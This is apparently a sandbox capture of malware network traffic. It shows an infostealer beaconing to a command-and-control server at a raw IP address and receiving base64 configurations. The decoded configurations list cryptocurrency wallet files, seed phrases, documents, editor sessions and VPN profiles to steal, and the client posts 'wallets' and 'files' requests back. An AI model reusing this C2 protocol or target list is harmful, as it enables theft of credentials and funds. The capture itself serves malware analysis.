00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Apr 26, 2024 11:06:22.911678076 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFHJJJKKFHIDAAKFBFBF Host: 185.172.128.76 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:23.281305075 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:23.423543930 CEST	468	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGIDHJKKJDGCBGCGIJK Host: 185.172.128.76 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 49 44 48 4a 4b 4b 4a 44 47 43 42 47 43 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 33 63 38 30 33 34 32 62 39 62 66 33 36 34 65 33 62 63 61 31 35 31 61 66 38 65 39 37 38 61 35 62 37 31 63 31 37 61 32 61 39 37 30 65 37 61 64 30 66 65 61 39 64 64 35 38 30 39 35 37 66 33 65 66 63 66 34 37 65 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 49 44 48 4a 4b 4b 4a 44 47 43 42 47 43 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 49 44 48 4a 4b 4b 4a 44 47 43 42 47 43 47 49 4a 4b 2d 2d 0d 0a Data Ascii: ------KEGIDHJKKJDGCBGCGIJKContent-Disposition: form-data; name="token"1a3c80342b9bf364e3bca151af8e978a5b71c17a2a970e7ad0fea9dd580957f3efcf47e4------KEGIDHJKKJDGCBGCGIJKContent-Disposition: form-data; name="message"wallets------KEGIDHJKKJDGCBGCGIJK--
Apr 26, 2024 11:06:23.773071051 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 2408 Connection: keep-alive Vary: Accept-Encoding Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 58 45 64 79 5a 57 56 75 58 48 64 68 62 47 78 6c 64 48 4e 63 66 43 6f 75 4b 6e 77 78 66 46 64 68 63 32 46 69 61 53 42 58 59 57 78 73 5a 58 52 38 4d 58 78 63 56 32 46 73 62 47 56 30 56 32 46 7a 59 57 4a 70 58 45 4e 73 61 57 56 75 64 46 78 58 59 57 78 73 5a 58 52 7a 58 48 77 71 4c 6d 70 7a 62 32 35 38 4d 48 78 46 64 47 68 6c 63 6d 56 31 62 58 77 78 66 46 78 46 64 47 68 6c 63 6d 56 31 62 56 78 38 61 32 56 35 63 33 52 76 63 6d 56 38 4d 48 78 46 62 47 56 6a 64 48 4a 31 62 58 77 78 66 46 78 46 62 47 56 6a 64 48 4a 31 62 56 78 33 59 57 78 73 5a 58 52 7a 58 48 77 71 4c 69 70 38 4d 48 78 46 62 47 56 6a 64 48 4a 31 62 55 78 55 51 33 77 78 66 46 78 46 62 47 56 6a 64 48 4a 31 62 53 31 4d 56 45 4e 63 64 32 46 73 62 47 56 30 63 31 78 38 4b 69 34 71 66 44 42 38 52 58 68 76 5a 48 56 7a 66 44 46 38 58 45 56 34 62 32 52 31 63 31 78 38 5a 58 68 76 5a 48 56 7a 4c 6d 4e 76 62 6d 59 75 61 6e 4e 76 62 6e 77 77 66 45 56 34 62 32 52 31 63 33 77 78 66 46 78 46 65 47 39 6b 64 58 4e 63 66 48 64 70 62 6d 52 76 64 79 31 7a 64 47 46 30 5a 53 35 71 63 32 39 75 66 44 42 38 52 58 68 76 5a 48 56 7a 58 47 56 34 62 32 52 31 63 79 35 33 59 57 78 73 5a 58 52 38 4d 58 78 63 52 58 68 76 5a 48 56 7a 58 47 56 34 62 32 52 31 63 79 35 33 59 57 78 73 5a 58 52 63 66 48 42 68 63 33 4e 77 61 48 4a 68 63 32 55 75 61 6e 4e 76 62 6e 77 77 66 45 56 34 62 32 52 31 63 31 78 6c 65 47 39 6b 64 58 4d 75 64 32 46 73 62 47 56 30 66 44 46 38 58 45 56 34 62 32 52 31 63 31 78 6c 65 47 39 6b 64 58 4d 75 64 32 46 73 62 47 56 30 58 48 78 7a 5a 57 56 6b 4c 6e 4e 6c 59 32 39 38 4d 48 78 46 65 47 39 6b 64 58 4e 63 5a 58 68 76 5a 48 56 7a 4c 6e 64 68 62 47 78 6c 64 48 77 78 66 46 78 46 65 47 39 6b 64 58 4e 63 5a 58 68 76 5a 48 56 7a 4c 6e 64 68 62 47 78 6c 64 46 78 38 61 57 35 6d 62 79 35 7a 5a 57 4e 76 66 44 42 38 52 57 78 6c 59 33 52 79 62 32 34 67 51 32 46 7a 61 48 77 78 66 46 78 46 62 47 56 6a 64 48 4a 76 62 6b 4e 68 63 32 68 63 64 32 46 73 62 47 56 30 63 31 78 38 4b 69 34 71 66 44 42 38 54 58 56 73 64 47 6c 45 62 32 64 6c 66 44 46 38 58 45 31 31 62 48 52 70 52 47 39 6e 5a 56 78 38 62 58 56 73 64 47 6c 6b 62 32 64 6c 4c 6e 64 68 62 47 78 6c 64 48 77 77 66 45 70 68 65 48 67 67 52 47 56 7a 61 33 52 76 63 43 41 6f 62 32 78 6b 4b 58 77 78 66 46 78 71 59 58 68 34 58 45 78 76 59 32 46 73 49 Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8XE11bHRpRG9nZVx8bXVsdGlkb2dlLndhbGxldHwwfEpheHggRGVza3RvcCAob2xkKXwxfFxqYXh4XExvY2FsI
Apr 26, 2024 11:06:23.776670933 CEST	466	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKFIJDHJEGIDHJKKKJJ Host: 185.172.128.76 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 33 63 38 30 33 34 32 62 39 62 66 33 36 34 65 33 62 63 61 31 35 31 61 66 38 65 39 37 38 61 35 62 37 31 63 31 37 61 32 61 39 37 30 65 37 61 64 30 66 65 61 39 64 64 35 38 30 39 35 37 66 33 65 66 63 66 34 37 65 34 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="token"1a3c80342b9bf364e3bca151af8e978a5b71c17a2a970e7ad0fea9dd580957f3efcf47e4------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="message"files------CAKFIJDHJEGIDHJKKKJJ--
Apr 26, 2024 11:06:24.130855083 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 2052 Connection: keep-alive Vary: Accept-Encoding Data Raw: 52 45 56 54 53 33 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 6f 75 64 48 68 30 4c 43 6f 75 5a 47 39 6a 65 43 77 71 4c 6e 68 73 63 33 68 38 4e 58 77 78 66 44 46 38 52 45 56 54 53 33 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6e 42 75 5a 79 77 71 64 32 46 73 62 47 56 30 4b 69 35 77 5a 47 59 73 4b 6d 4a 68 59 32 74 31 63 43 6f 75 63 47 35 6e 4c 43 70 69 59 57 4e 72 64 58 41 71 4c 6e 42 6b 5a 69 77 71 63 6d 56 6a 62 33 5a 6c 63 69 6f 75 63 47 35 6e 4c 43 70 79 5a 57 4e 76 64 6d 56 79 4b 69 35 77 5a 47 59 73 4b 6d 31 6c 64 47 46 74 59 58 4e 72 4b 69 34 71 4c 43 70 56 56 45 4d 74 4c 53 6f 75 4b 6e 77 78 4e 54 41 77 66 44 46 38 4d 58 78 45 54 30 4e 54 66 43 56 45 54 30 4e 56 54 55 56 4f 56 46 4d 6c 58 48 77 71 64 32 46 73 62 47 56 30 4b 69 35 77 62 6d 63 73 4b 6e 64 68 62 47 78 6c 64 43 6f 75 63 47 52 6d 4c 43 70 69 59 57 4e 72 64 58 41 71 4c 6e 42 75 5a 79 77 71 59 6d 46 6a 61 33 56 77 4b 69 35 77 5a 47 59 73 4b 6e 4a 6c 59 32 39 32 5a 58 49 71 4c 6e 42 75 5a 79 77 71 63 6d 56 6a 62 33 5a 6c 63 69 6f 75 63 47 52 6d 4c 43 70 74 5a 58 52 68 62 57 46 7a 61 79 6f 75 4b 69 77 71 56 56 52 44 4c 53 30 71 4c 69 70 38 4d 54 55 77 4d 48 77 78 66 44 46 38 52 45 39 44 55 33 77 6c 52 45 39 44 56 55 31 46 54 6c 52 54 4a 56 78 38 4b 69 35 30 65 48 51 73 4b 69 35 6b 62 32 4e 34 4c 43 6f 75 65 47 78 7a 65 48 77 31 66 44 46 38 4d 58 78 53 52 55 4e 38 4a 56 4a 46 51 30 56 4f 56 43 56 63 66 43 6f 75 64 48 68 30 4c 43 6f 75 5a 47 39 6a 65 43 77 71 4c 6e 68 73 63 33 68 38 4e 58 77 78 66 44 46 38 55 6b 56 44 66 43 56 53 52 55 4e 46 54 6c 51 6c 58 48 77 71 64 32 46 73 62 47 56 30 4b 69 35 77 62 6d 63 73 4b 6e 64 68 62 47 78 6c 64 43 6f 75 63 47 52 6d 4c 43 70 69 59 57 4e 72 64 58 41 71 4c 6e 42 75 5a 79 77 71 59 6d 46 6a 61 33 56 77 4b 69 35 77 5a 47 59 73 4b 6e 4a 6c 59 32 39 32 5a 58 49 71 4c 6e 42 75 5a 79 77 71 63 6d 56 6a 62 33 5a 6c 63 69 6f 75 63 47 52 6d 4c 43 70 74 5a 58 52 68 62 57 46 7a 61 79 6f 75 4b 69 77 71 56 56 52 44 4c 53 30 71 4c 69 70 38 4d 54 55 77 4d 48 77 78 66 44 46 38 54 6b 39 55 52 56 42 42 52 48 77 6c 51 56 42 51 52 45 46 55 51 53 56 63 54 6d 39 30 5a 58 42 68 5a 43 73 72 58 48 77 71 4c 6e 68 74 62 48 77 78 4e 58 77 78 66 44 46 38 54 6b 39 55 52 56 42 42 52 48 77 6c 51 56 42 51 52 45 46 55 51 53 56 63 54 6d 39 30 5a 58 42 68 5a 43 73 72 58 47 4a 68 59 32 74 31 63 46 78 38 4b 69 34 71 66 44 45 31 66 44 46 38 4d 58 78 54 56 55 4a 4d 53 55 31 46 66 43 56 42 55 46 42 45 51 56 52 42 4a 56 78 54 64 57 4a 73 61 57 31 6c 49 46 52 6c 65 48 51 67 4d 31 78 4d 62 32 4e 68 62 46 78 54 5a 58 4e 7a 61 57 39 75 4c 6e 4e 31 59 6d 78 70 62 57 56 66 63 32 56 7a 63 32 6c 76 62 6c 78 38 4b 69 35 7a 64 57 4a 73 61 57 31 6c 58 79 70 38 4d 54 56 38 4d 58 77 78 66 46 5a 51 54 6c 39 44 61 58 4e 6a 62 31 5a 51 54 6e 77 6c 55 46 4a 50 52 31 4a 42 54 55 5a 4a 54 45 56 54 4a 56 78 63 4c 69 35 63 58 46 42 79 62 32 64 79 59 57 31 45 59 58 52 68 58 46 78 44 61 58 4e 6a 62 31 78 44 61 58 4e 6a 62 79 42 42 62 6e 6c 44 62 32 35 75 5a 57 4e 30 49 46 4e 6c 59 33 56 79 5a 53 42 4e 62 32 4a 70 62 47 6c 30 65 53 42 44 62 47 6c 6c 62 6e 52 63 55 48 4a 76 5a 6d 6c 73 5a 56 78 38 4b 69 35 34 62 57 78 38 4d 54 41 77 66 44 46 38 4d 48 78 57 55 45 35 66 52 6d 39 79 64 47 6c 75 5a 58 52 38 4a 56 42 53 54 30 64 53 51 55 31 47 53 Data Ascii: REVTS3wlREVTS1RPUCVcfCoudHh0LCouZG9jeCwqLnhsc3h8NXwxfDF8REVTS3wlREVTS1RPUCVcfCp3YWxsZXQqLnBuZywqd2FsbGV0Ki5wZGYsKmJhY2t1cCoucG5nLCpiYWNrdXAqLnBkZiwqcmVjb3ZlcioucG5nLCpyZWNvdmVyKi5wZGYsKm1ldGFtYXNrKi4qLCpVVEMtLSouKnwxNTAwfDF8MXxET0NTfCVET0NVTUVOVFMlXHwqd2FsbGV0Ki5wbmcsKndhbGxldCoucGRmLCpiYWNrdXAqLnBuZywqYmFja3VwKi5wZGYsKnJlY292ZXIqLnBuZywqcmVjb3ZlcioucGRmLCptZXRhbWFzayouKiwqVVRDLS0qLip8MTUwMHwxfDF8RE9DU3wlRE9DVU1FTlRTJVx8Ki50eHQsKi5kb2N4LCoueGxzeHw1fDF8MXxSRUN8JVJFQ0VOVCVcfCoudHh0LCouZG9jeCwqLnhsc3h8NXwxfDF8UkVDfCVSRUNFTlQlXHwqd2FsbGV0Ki5wbmcsKndhbGxldCoucGRmLCpiYWNrdXAqLnBuZywqYmFja3VwKi5wZGYsKnJlY292ZXIqLnBuZywqcmVjb3ZlcioucGRmLCptZXRhbWFzayouKiwqVVRDLS0qLip8MTUwMHwxfDF8Tk9URVBBRHwlQVBQREFUQSVcTm90ZXBhZCsrXHwqLnhtbHwxNXwxfDF8Tk9URVBBRHwlQVBQREFUQSVcTm90ZXBhZCsrXGJhY2t1cFx8Ki4qfDE1fDF8MXxTVUJMSU1FfCVBUFBEQVRBJVxTdWJsaW1lIFRleHQgM1xMb2NhbFxTZXNzaW9uLnN1YmxpbWVfc2Vzc2lvblx8Ki5zdWJsaW1lXyp8MTV8MXwxfFZQTl9DaXNjb1ZQTnwlUFJPR1JBTUZJTEVTJVxcLi5cXFByb2dyYW1EYXRhXFxDaXNjb1xDaXNjbyBBbnlDb25uZWN0IFNlY3VyZSBNb2JpbGl0eSBDbGllbnRcUHJvZmlsZVx8Ki54bWx8MTAwfDF8MHxWUE5fRm9ydGluZXR8JVBST0dSQU1GS
Apr 26, 2024 11:06:24.178960085 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIDGCGIEGDGDGDGHJKK Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:24.558655024 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:24.571350098 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKJKJDGCGDBGDHIJKJE Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:24.945878983 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:24.953123093 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHDAFBFCFHIDAKFIIEBA Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:25.329936981 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:25.334721088 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJDHCAFCGDAAKEBFIJDG Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:25.715050936 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:25.756275892 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDHDGDHJEGHIDGDHCGC Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:26.130300999 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:26.183716059 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIDGCGIEGDGDGDGHJKK Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:26.579226971 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:26.585880041 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJEGIEHIJKKFIDHDGID Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:26.961939096 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:26.967660904 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJDGDGDHDGDBFIDHDBA Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:27.340123892 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:27.352741957 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKEBAKFHCFHIEBFBAFB Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:27.726552963 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:27.732343912 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIDBKJJDGHDHJKEHJDB Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:28.107558966 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:28.116254091 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAKKFHCFIECAAAKEGCF Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:28.498203039 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:28.520988941 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHCGIJDHDGDBGDGCGCFH Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:28.897756100 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:28.980278969 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDAAFIEHIEHJKFHCAE Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:29.346220970 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:29.354670048 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKEBAKFHCFHIEBFBAFB Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:29.726752996 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:29.733580112 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIDBKJJDGHDHJKEHJDB Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:30.113068104 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:30.131517887 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEGHJEGHJKFIEBFHJKK Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:30.509188890 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:30.784878016 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKFIJDHJEGIDHJKKKJJ Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:31.162038088 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:31.169280052 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKJDAFHJDHIEBGCFIDB Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:31.544832945 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:31.566298008 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIDAFIEBFCBKFHIDHIJE Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:31.941863060 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:32.093347073 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJDHJKFIECAAKFIJJKJ Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:32.464167118 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
